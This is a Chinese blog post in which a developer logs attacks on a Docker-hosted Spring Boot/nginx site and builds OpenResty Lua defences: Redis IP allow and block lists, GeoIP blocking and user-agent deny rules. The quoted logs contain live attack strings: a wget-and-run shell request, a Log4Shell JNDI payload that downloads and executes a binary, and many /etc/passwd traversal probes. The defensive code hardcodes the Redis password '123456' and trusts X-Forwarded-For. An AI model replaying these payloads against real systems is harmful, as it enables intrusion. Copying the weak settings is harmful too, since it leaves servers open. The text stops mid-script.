【记录一次服务器被攻击】-[附带解决方案]
当我准备重新构建docker项目时,发现一条某个IP的不正常请求.
日志如下
yudao-ui-admin | 156.219.223.76 - - [09/Apr/2022:16:49:37 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+23.94.50.159/jaws;sh+/tmp/jaws HTTP/1.1" 200 10315 "-" "Hello, world" "-"
我的项目是用的开源项目 ruoyi-vue-pro
用的是:docker构建项目, nginx 反向代理HTTPS, 到 springboot项目的48080端口.
nginx与java项目都在容器里面,很显然发送GET /shell?这个请求时候必然没啥权限,
毕竟在nginx容器中,基本没啥权限.
然后这个攻击者 又看到是java的springboot项目,又发送了这个请求
日志如下:
yudao-ui-admin
| 152.67.35.9 - -[09/Apr/2022:16:50:16 +0000] "GET / HTTP/1.1" 200 10315
"t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvcnVubmFibGU7IGN1cmwgLU8gaHR0cDovLzE0MC4yMzguMTgwLjM0L3J1bm5hYmxlOyBjaG1vZCA3NzcgcnVubmFibGU7IC4vcnVubmFibGUgcnVubmVy}')"
"t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvcnVubmFibGU7IGN1cmwgLU8gaHR0cDovLzE0MC4yMzguMTgwLjM0L3J1bm5hYmxlOyBjaG1vZCA3NzcgcnVubmFibGU7IC4vcnVubmFibGUgcnVubmVy}')"
"t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvcnVubmFibGU7IGN1cmwgLU8gaHR0cDovLzE0MC4yMzguMTgwLjM0L3J1bm5hYmxlOyBjaG1vZCA3NzcgcnVubmFibGU7IC4vcnVubmFibGUgcnVubmVy}')"
看描述是 Tomcat相关,想起最近Tomcat与springboot漏洞 Java9才能执行,但是我是Java8容器构建的,基本没啥问题
.然后看到了JNDI关键词,
也有可能是Log4J2漏洞攻击,我也查了一下框架用的是log4j-api:2.17.1,也没啥问题
,为了防止他继续攻击,我直接 一个命令docker-compose down,
然后防火墙 80 443接口都关了.也顺利解决
我又打开端口,让他继续攻击:
看看日志:
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:17:54:59 +0000] "GET /src/redirect.php?plugins[]=../../../../etc/passwd%00 HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:17:55:31 +0000] "GET /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd HTTP/1.1" 200 10315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:17:55:31 +0000] "GET /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:01:37 +0000] "GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:01:43 +0000] "GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1" 200 10315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:04:05 +0000] "POST / HTTP/1.1" 400 657 "\x5Cx00" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" "-"
yudao-ui-admin | 34.140.248.32 - - [09/Apr/2022:18:05:47 +0000] "GET / HTTP/1.1" 200 10315 "-" "python-requests/2.27.1" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:06:33 +0000] "POST /xmlrpc/pingback HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:06:34 +0000] "POST /xmlrpc/pingback HTTP/1.1" 405 559 "-" "Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" "-"
笑死我啦.居然还在找我的passwd密码.这个docker nginx容器.密码有个屁用
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:07:21 +0000] "GET /../../../../../../../../../../../../../etc/passwd HTTP/1.1" 400 157 "-" "-" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:07:21 +0000] "GET /../../../../../../../../../../../../../etc/passwd HTTP/1.1" 400 157 "-" "-" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:10:25 +0000] "GET /wp-content/plugins/ad-widget/views/modal/?step=../../../../../../../etc/passwd%00 HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:10:25 +0000] "GET /wp-content/plugins/ad-widget/views/modal/?step=../../../../../../../etc/passwd%00 HTTP/1.1" 200 10315 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:12:06 +0000] "GET /index.php?option=com_arcadegames&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 10315 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:12:06 +0000] "GET /index.php?option=com_arcadegames&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:12:38 +0000] "GET /wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za_filename=passwd HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:12:38 +0000] "GET /wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za_filename=passwd HTTP/1.1" 200 10315 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:23:49 +0000] "POST /cobbler_api HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:23:50 +0000] "POST /cobbler_api HTTP/1.1" 405 559 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:24:13 +0000] "POST /search/ HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:24:14 +0000] "POST /search/ HTTP/1.1" 405 559 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:24:44 +0000] "GET /wp-admin/admin-ajax.php?jvfrm_spot_get_json&fn=../../wp-config.php&callback=jQuery HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:24:46 +0000] "GET /wp-admin/admin-ajax.php?jvfrm_spot_get_json&fn=../../wp-config.php&callback=jQuery HTTP/1.1" 200 10315 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:25:29 +0000] "GET /+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36" "-"
yudao-ui-admin | 104.192.3.54 - - [09/Apr/2022:18:25:29 +0000] "GET /+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions HTTP/1.1" 200 10315 "-" "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" "-"
放大招
修改nginx配置
allow 我的Ip;
deny all;
还在继续攻击
攻击地址也从国外 转到了国内，
先是3:03的时候
香港的Ip地址 154.209.125.49,
然后3:13的时候
上海的IP地址 61.151.178.249
把80端口关了。只留443端口。
就只有 这个荷兰的Ip 地址 94.102.56.151,
攻击443端口
经过几天的摸索开始修改nginx
把nginx 换成 openresty
############## nginx #####################
FROM openresty/openresty as yudao-ui-admin
ENV TZ Asia/Shanghai
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
COPY ./404.html /usr/share/nginx/html/404.html
COPY ./yudao-ui-admin/dist/ /usr/share/nginx/html/yudao-admin
COPY ./nginx.conf /usr/local/openresty/nginx/conf/nginx.conf
添加lua脚本: access_limit_open.lua
存放在 /etc/nginx/lua/access_limit_open.lua 下
local function close_redis(red)
if not red then
return
end
local pool_max_idle_time = 10000
local pool_size = 100
local ok, err = red:set_keepalive(pool_max_idle_time, pool_size)
if not ok then
ngx.say("set keepalive err : ", err)
end
end
local BUSINESS = 404 --nginx的location中定义的业务标识符
--连接redis
local redis = require "resty.redis"
local conn = redis:new()
local ok, err = conn:connect("127.0.0.1", 6379)
conn:set_timeout(2000) --超时时间2秒
--如果连接失败，跳转到脚本结尾
if not ok then
--goto FLAG
close_redis(conn)
end
local count, err = conn:get_reused_times()
if 0 == count then
----新建连接，需要认证密码
ok, err = conn:auth("123456")
if not ok then
ngx.say("failed to auth: ", err)
return
end
elseif err then
----从连接池中获取连接，无需再次认证密码 ngx.say("failed to get reused times: ", err)
return
end
local headers = ngx.req.get_headers()
local clientIP = headers["x-forwarded-for"]
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" then
clientIP = headers["Proxy-Client-IP"]
end
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" then
clientIP = headers["WL-Proxy-Client-IP"]
end
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" then
clientIP = ngx.var.remote_addr
end
-- 对于通过多个代理的情况，第一个IP为客户端真实IP,多个IP按照','分割
if clientIP ~= nil and string.len(clientIP) > 15 then
local pos = string.find(clientIP, ",", 1)
clientIP = string.sub(clientIP, 1, pos - 1)
end
conn:select(0)
local result_white = conn:sismember("WHITE-IP", clientIP)
if result_white == nil or result_white == 1 then
ngx.log(ngx.ERR, "white_ip:", clientIP)
else
local result_black = conn:sismember("BAN-IP", clientIP)
if result_black == 1 then
ngx.log(ngx.ERR, "black_ip:", clientIP)
ngx.log(ngx.ERR, "black_remote_addr:", ngx.var.remote_addr)
ngx.exit(403)
end
end
close_redis(conn)
-- 结束标记
local ok, err = conn:close()
添加lua脚本: access_limit.lua
存放在 /etc/nginx/lua/access_limit.lua 下
local function close_redis(red)
if not red then
return
end
local pool_max_idle_time = 10000
local pool_size = 100
local ok, err = red:set_keepalive(pool_max_idle_time, pool_size)
if not ok then
ngx.say("set keepalive err : ", err)
end
end
--连接redis
local redis = require "resty.redis"
local conn = redis:new()
local ok, err = conn:connect("127.0.0.1", 6379)
conn:set_timeout(2000) --超时时间2秒
--如果连接失败，跳转到脚本结尾
if not ok then
--goto FLAG
close_redis(conn)
end
local count, err = conn:get_reused_times()
if 0 == count then
----新建连接，需要认证密码
ok, err = conn:auth("123456")
if not ok then
ngx.say("failed to auth: ", err)
return
end
elseif err then
----从连接池中获取连接，无需再次认证密码 ngx.say("failed to get reused times: ", err)
return
end
local headers = ngx.req.get_headers()
local clientIP = headers["x-forwarded-for"]
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" then
clientIP = headers["Proxy-Client-IP"]
end
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" then
clientIP = headers["WL-Proxy-Client-IP"]
end
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" then
clientIP = ngx.var.remote_addr
end
-- 对于通过多个代理的情况，第一个IP为客户端真实IP,多个IP按照','分割
if clientIP ~= nil and string.len(clientIP) > 15 then
local pos = string.find(clientIP, ",", 1)
clientIP = string.sub(clientIP, 1, pos - 1)
end
conn:select(0)
local result_white = conn:sismember("WHITE-IP", clientIP)
if result_white == nil or result_white == 1 then
ngx.log(ngx.ERR, "white_ip:", clientIP)
else
local result_black = conn:sadd("BAN-IP", clientIP)
ngx.log(ngx.ERR, "ban_ip:", clientIP)
ngx.log(ngx.ERR, "ban_remote_addr:", ngx.var.remote_addr)
ngx.exit(403)
end
close_redis(conn)
-- 结束标记
local ok, err = conn:close()
lua脚本 设置了 白名单与黑名单:
注意lua 连接redis 要填写外网ip,不知道为啥不能用docker 容器名连接
白名单 在redis set存储,key为 WHITE-IP, value为IP
黑名单 在redis set存储,key为 BAN-IP,value为IP
nginx主配置 nginx.conf
# nginx.conf -- docker-openresty
#
# This file is installed to:
# `/usr/local/openresty/nginx/conf/nginx.conf`
# and is the file loaded by nginx at startup,
# unless the user specifies otherwise.
#
# It tracks the upstream OpenResty's `nginx.conf`, but removes the `server`
# section and adds this directive:
# `include /etc/nginx/conf.d/*.conf;`
#
# The `docker-openresty` file `nginx.vh.default.conf` is copied to
# `/etc/nginx/conf.d/default.conf`. It contains the `server section
# of the upstream `nginx.conf`.
#
# See https://github.com/openresty/docker-openresty/blob/master/README.md#nginx-config-files
#
#user nobody;
#worker_processes 1;
# Enables the use of JIT for regular expressions to speed-up their processing.
pcre_jit on;
#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;
error_log logs/error.log warn;
#pid logs/nginx.pid;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
# Enables or disables the use of underscores in client request header fields.
# When the use of underscores is disabled, request header fields whose names contain underscores are marked as invalid and become subject to the ignore_invalid_headers directive.
# underscores_in_headers off;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /dev/stdout main;
log_format nginxlog_json escape=json '{ "timestamp": "$time_local", '
'"remote_addr": "$remote_addr", '
'"body_bytes_sent": $body_bytes_sent, '
'"request_time": $request_time, '
'"response_status": $status, '
'"request": "$request", '
'"request_method": "$request_method", '
'"host": "$host",'
'"upstream_addr": "$upstream_addr",'
'"upstream_host": "$upstream_http_host",'
'"upstream_resp_time": "$upstream_response_time",'
'"http_x_forwarded_for": "$http_x_forwarded_for",'
'"http_referrer": "$http_referer", '
'"http_user_agent": "$http_user_agent", '
'"http_version": "$server_protocol", '
'"nginx_access": true }';
access_log logs/access_json.log nginxlog_json;
# See Move default writable paths to a dedicated directory (#119)
# https://github.com/openresty/docker-openresty/issues/119
client_body_temp_path /var/run/openresty/nginx-client-body;
proxy_temp_path /var/run/openresty/nginx-proxy;
fastcgi_temp_path /var/run/openresty/nginx-fastcgi;
uwsgi_temp_path /var/run/openresty/nginx-uwsgi;
scgi_temp_path /var/run/openresty/nginx-scgi;
sendfile on;
#tcp_nopush on;
#keepalive_timeout 0;
keepalive_timeout 65;
client_max_body_size 100m;
#gzip on;
access_by_lua_file /etc/nginx/lua/access_limit_open.lua;
include /etc/nginx/conf.d/*.conf;
# Don't reveal OpenResty version to clients.
# server_tokens off;
}
只要是 http请求,就会 调用 access_by_lua_file /etc/nginx/lua/access_limit_open.lua;
defalut.conf
存放在 /etc/nginx/conf.d/defalut.conf 下
server {
listen 80;
server_name ***.***;
# https配置参考 start
listen 443 ssl;
# 证书直接存放 /docker/nginx/cert/ 目录下即可 更改证书名称即可 无需更改证书路径
# ssl on;
ssl_certificate /etc/nginx/cert/*.*.crt; # /etc/nginx/cert/ 为docker映射路径 不允许更改
ssl_certificate_key /etc/nginx/cert/*.*.key; # /etc/nginx/cert/ 为docker映射路径 不允许更改
ssl_session_timeout 5m;
# 密码加密方式
ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
# 指定密码为openssl支持的格式
ssl_protocols TLSv1.2 TLSv1.3;
#依赖SSLv3和TLSv1协议的服务器密码将优先于客户端密码
ssl_prefer_server_ciphers on;
# https配置参考 end
autoindex_localtime on;
root /usr/share/nginx/html;
if ($request_method !~ ^(GET|POST)$) {
return 403;
}
if ($http_user_agent ~* (Scrapy|Curl|HttpClient)) {
return 403;
}
if ($http_user_agent ~ "FeedDemon|JikeSpider|Indy Library|Alexa Toolbar|AskTbFXTV|AhrefsBot|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Microsoft URL Control|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|MJ12bot|heritrix|EasouSpider|LinkpadBot|Ezooms|^$" ){
return 403;
}
location ~* \.(xml|sh|env|php|aspx|asp|php5|zip|rar|sql|bak|gz|7z)$ {
access_by_lua_file /etc/nginx/lua/access_limit.lua;
}
location / {
try_files $uri $uri/ /index.html;
index index.html index.htm;
}
location /prod-api/ {
proxy_set_header Host $http_host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header REMOTE-HOST $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://yudao-server:48080/prod-api/;
}
error_page 500 502 503 504 404 403 /404.html;
location = /404.html {
access_by_lua_file /etc/nginx/lua/access_limit.lua;
root /usr/share/nginx/html;
}
}
因为我是Java 作为后端服务器,所有拦截所有xml|sh|env|php|aspx|asp|php5|zip|rar|sql|bak|gz|7z等等后缀的请求,并转发到 403
请求不是 GET|POST,转发到 403
请求头 http_user_agent 是爬虫的FeedDemon|JikeSpider|Indy Library|Alexa Toolbar|AskTbFXTV|AhrefsBot|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Microsoft URL Control|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|MJ12bot|heritrix|EasouSpider|LinkpadBot|Ezooms|和 Scrapy|Curl|HttpClient,转发 到403
只要触发403,全部都给我进黑名单 (っ °Д °;)っ
然后后面在java管理端编写几个操作 redis set集合的api
比如:
添加 白名单
stringRedisTemplate.opsForSet().add(WHITE_IP, ip);
添加 黑名单
stringRedisTemplate.opsForSet().add(BAN_IP, ip);
查询 所有白名单
stringRedisTemplate.opsForSet().members(WHITE_IP);
查询 所有黑名单
stringRedisTemplate.opsForSet().members(BAN_IP);
继续增加过滤规则(屏蔽国外IP)
集成 libmaxminddb lua-resty-maxminddb geo
下载 libmaxminddb-1.6.0.tar.gz
https://github.com/maxmind/libmaxminddb/releases
下载 GEOIP离线库
https://github.com/Dreamacro/maxmind-geoip/releases
修改 Dockerfile (注意docker-compose构建时 version要在3.2以上)
############## 构建 libmaxminddb #####################
FROM gcc:9 as libmaxminddb-build
ADD libmaxminddb-1.6.0.tar.gz /
RUN cd /libmaxminddb-1.6.0 && ./configure && make && make install && ldconfig -v
############## nginx #####################
FROM openresty/openresty:1.19.9.1-10-centos as yudao-ui-admin
ENV TZ Asia/Shanghai
COPY ./yudao-ui-admin/dist/ /usr/share/nginx/html/yudao-admin
COPY ./404.html /usr/share/nginx/html/404.html
COPY ./Country.mmdb /etc/nginx/mmdb/Country.mmdb
COPY ./nginx.conf /usr/local/openresty/nginx/conf/nginx.conf
COPY --from=libmaxminddb-build /usr/local/lib/libmaxminddb.so.0.0.7 /lib64
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone \
&& opm get anjia0532/lua-resty-maxminddb \
&& ln -s /lib64/libmaxminddb.so.0.0.7 /lib64/libmaxminddb.so \
&& ldconfig -v
修改 access_limit_open.lua ,只允许CN访问,其他自动跳转403
local headers = ngx.req.get_headers()
local clientIP = headers["x-forwarded-for"]
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" then
clientIP = headers["Proxy-Client-IP"]
end
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" then
clientIP = headers["WL-Proxy-Client-IP"]
end
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" then
clientIP = ngx.var.remote_addr
end
-- 对于通过多个代理的情况，第一个IP为客户端真实IP,多个IP按照','分割
if clientIP ~= nil and string.len(clientIP) > 15 then
local pos = string.find(clientIP, ",", 1)
clientIP = string.sub(clientIP, 1, pos - 1)
end
local geo = require 'resty.maxminddb'
if not geo.initted() then
geo.init("/etc/nginx/mmdb/Country.mmdb")
end
local res, err = geo.lookup(clientIP)
if not res then
ngx.log(ngx.ERR, ' failed to lookup by ip , reason :', err)
else
for k, v in pairs(res) do
if (k == "country") then
for key, item in pairs(v) do
if (key == "iso_code") then
ngx.log(ngx.ERR, ' this code ', item)
if item == "CN" then
else
ngx.exit(403)
end
end
end
end
end
end
local function close_redis(red)
if not red then
return
end
local pool_max_idle_time = 10000
local pool_size = 100
local ok, err = red:set_keepalive(pool_max_idle_time, pool_size)
if not ok then
ngx.log(ngx.ERR,"set keepalive err : ", err)
end
end
--连接redis
local redis = require "resty.redis"
local conn = redis:new()
local ok, err = conn:connect("127.0.0.1", 6379)
conn:set_timeout(2000) --超时时间2秒
--如果连接失败，跳转到脚本结尾
if not ok then
--goto FLAG
close_redis(conn)
end
local count, err = conn:get_reused_times()
if 0 == count then
----新建连接，需要认证密码
ok, err = conn:auth("123456")
if not ok then
ngx.log(ngx.ERR,"failed to auth: ", err)
return
end
elseif err then
----从连接池中获取连接，无需再次认证密码 ngx.say("failed to get reused times: ", err)
return
end
conn:select(0)
local result_white = conn:sismember("WHITE-IP", clientIP)
if result_white == nil or result_white == 1 then
ngx.log(ngx.ERR, "white_ip:", clientIP)
else
local result_black = conn:sismember("BAN-IP", clientIP)
if result_black == 1 then
ngx.log(ngx.ERR, "black_ip:", clientIP)
ngx.exit(403)
end
end
close_redis(conn)
-- 结束标记
local ok, err = conn:close()
继续优化lua代码
修改 nginx.conf
添加 lua cache 缓存120M
# lua cache
lua_shared_dict dis_cache 120m;
nginx.conf 全部代码
# nginx.conf -- docker-openresty
#
# This file is installed to:
# `/usr/local/openresty/nginx/conf/nginx.conf`
# and is the file loaded by nginx at startup,
# unless the user specifies otherwise.
#
# It tracks the upstream OpenResty's `nginx.conf`, but removes the `server`
# section and adds this directive:
# `include /etc/nginx/conf.d/*.conf;`
#
# The `docker-openresty` file `nginx.vh.default.conf` is copied to
# `/etc/nginx/conf.d/default.conf`. It contains the `server section
# of the upstream `nginx.conf`.
#
# See https://github.com/openresty/docker-openresty/blob/master/README.md#nginx-config-files
#
#user nobody;
#worker_processes 1;
# Enables the use of JIT for regular expressions to speed-up their processing.
pcre_jit on;
#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;
error_log logs/error.log warn;
#pid logs/nginx.pid;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
# Enables or disables the use of underscores in client request header fields.
# When the use of underscores is disabled, request header fields whose names contain underscores are marked as invalid and become subject to the ignore_invalid_headers directive.
# underscores_in_headers off;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /dev/stdout main;
# Log in JSON Format
log_format nginxlog_json escape=json '{ "timestamp": "$time_local", '
'"remote_addr": "$remote_addr", '
'"body_bytes_sent": $body_bytes_sent, '
'"request_time": $request_time, '
'"response_status": $status, '
'"request": "$request", '
'"request_method": "$request_method", '
'"host": "$host",'
'"upstream_addr": "$upstream_addr",'
'"upstream_host": "$upstream_http_host",'
'"upstream_resp_time": "$upstream_response_time",'
'"http_x_forwarded_for": "$http_x_forwarded_for",'
'"http_referrer": "$http_referer", '
'"http_user_agent": "$http_user_agent", '
'"http_version": "$server_protocol", '
'"nginx_access": true }';
access_log logs/access_json.log nginxlog_json;
# See Move default writable paths to a dedicated directory (#119)
# https://github.com/openresty/docker-openresty/issues/119
client_body_temp_path /var/run/openresty/nginx-client-body;
proxy_temp_path /var/run/openresty/nginx-proxy;
fastcgi_temp_path /var/run/openresty/nginx-fastcgi;
uwsgi_temp_path /var/run/openresty/nginx-uwsgi;
scgi_temp_path /var/run/openresty/nginx-scgi;
sendfile on;
#tcp_nopush on;
#keepalive_timeout 0;
keepalive_timeout 65;
client_max_body_size 100m;
# lua cache
lua_shared_dict dis_cache 120m;
gzip on;
gzip_min_length 1k; # 设置允许压缩的页面最小字节数
gzip_buffers 4 16k; # 用来存储 gzip 的压缩结果
gzip_http_version 1.1; # 识别 HTTP 协议版本
gzip_comp_level 2; # 设置 gzip 的压缩比 1-9。1 压缩比最小但最快，而 9 相反
gzip_types gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; # 指定压缩类型
gzip_proxied any; # 无论后端服务器的 headers 头返回什么信息，都无条件启用压缩
#gzip on;
access_by_lua_file /etc/nginx/lua/access_limit_open.lua;
include /etc/nginx/conf.d/*.conf;
# Don't reveal OpenResty version to clients.
# server_tokens off;
}
修改 lua脚本(access_limit_open.lua)
主要添加nginx本地缓存,当本地缓存没有时,请求redis
local function get_client_ip()
local headers = ngx.req.get_headers()
local clientIP = headers["x-forwarded-for"]
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" then
clientIP = headers["Proxy-Client-IP"]
end
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" then
clientIP = headers["WL-Proxy-Client-IP"]
end
if clientIP == nil or string.len(clientIP) == 0 or clientIP == "unknown" then
clientIP = ngx.var.remote_addr
end
-- 对于通过多个代理的情况，第一个IP为客户端真实IP,多个IP按照','分割
if clientIP ~= nil and string.len(clientIP) > 15 then
local pos = string.find(clientIP, ",", 1)
clientIP = string.sub(clientIP, 1, pos - 1)
end
return clientIP;
end
local function check_cn(ip)
local geo = require 'resty.maxminddb'
if not geo.initted() then
geo.init("/etc/nginx/mmdb/Country.mmdb")
end
local res, err = geo.lookup(ip)
if not res then
ngx.log(ngx.ERR, ' failed to lookup by ip , reason :', err)
else
for k, v in pairs(res) do
if (k == "country") then
for key, item in pairs(v) do
if (key == "iso_code") then
if item == "CN" then
ngx.log(ngx.ERR, ' this counrty: ', item)
return 1;
else
ngx.log(ngx.ERR, ' this counrty: ', item)
return 0;
end
end
end
end
end
end
end
local function close_redis(red)
if not red then
return
end
local pool_max_idle_time = 10000
local pool_size = 100
local ok, err = red:set_keepalive(pool_max_idle_time, pool_size)
if not ok then
ngx.log(ngx.ERR, "set keepalive err : ", err)
end
end
-- 获取nginx 本地缓存
local cache_ngx = ngx.shared.dis_cache;
-- 获取 请求IP
local clientIP = get_client_ip();
--根据IP 获取本地黑名单缓存数据
local whiteIpCache = cache_ngx:get('white_ip_' .. clientIP);
if whiteIpCache == "" or whiteIpCache == nil then
--连接redis
local redis = require "resty.redis"
local conn = redis:new()
local ok, err = conn:connect("127.0.0.1", 6379)
conn:set_timeout(2000) --超时时间2秒
--如果连接失败，跳转到脚本结尾
if not ok then
--goto FLAG
close_redis(conn)
end
local count, err = conn:get_reused_times()
if 0 == count then
----新建连接，需要认证密码
ok, err = conn:auth("123456")
if not ok then
ngx.log(ngx.ERR, "failed to auth: ", err)
return
end
elseif err then
---- 从连接池中获取连接，无需再次认证密码 ngx.say("failed to get reused times: ", err)
return
end
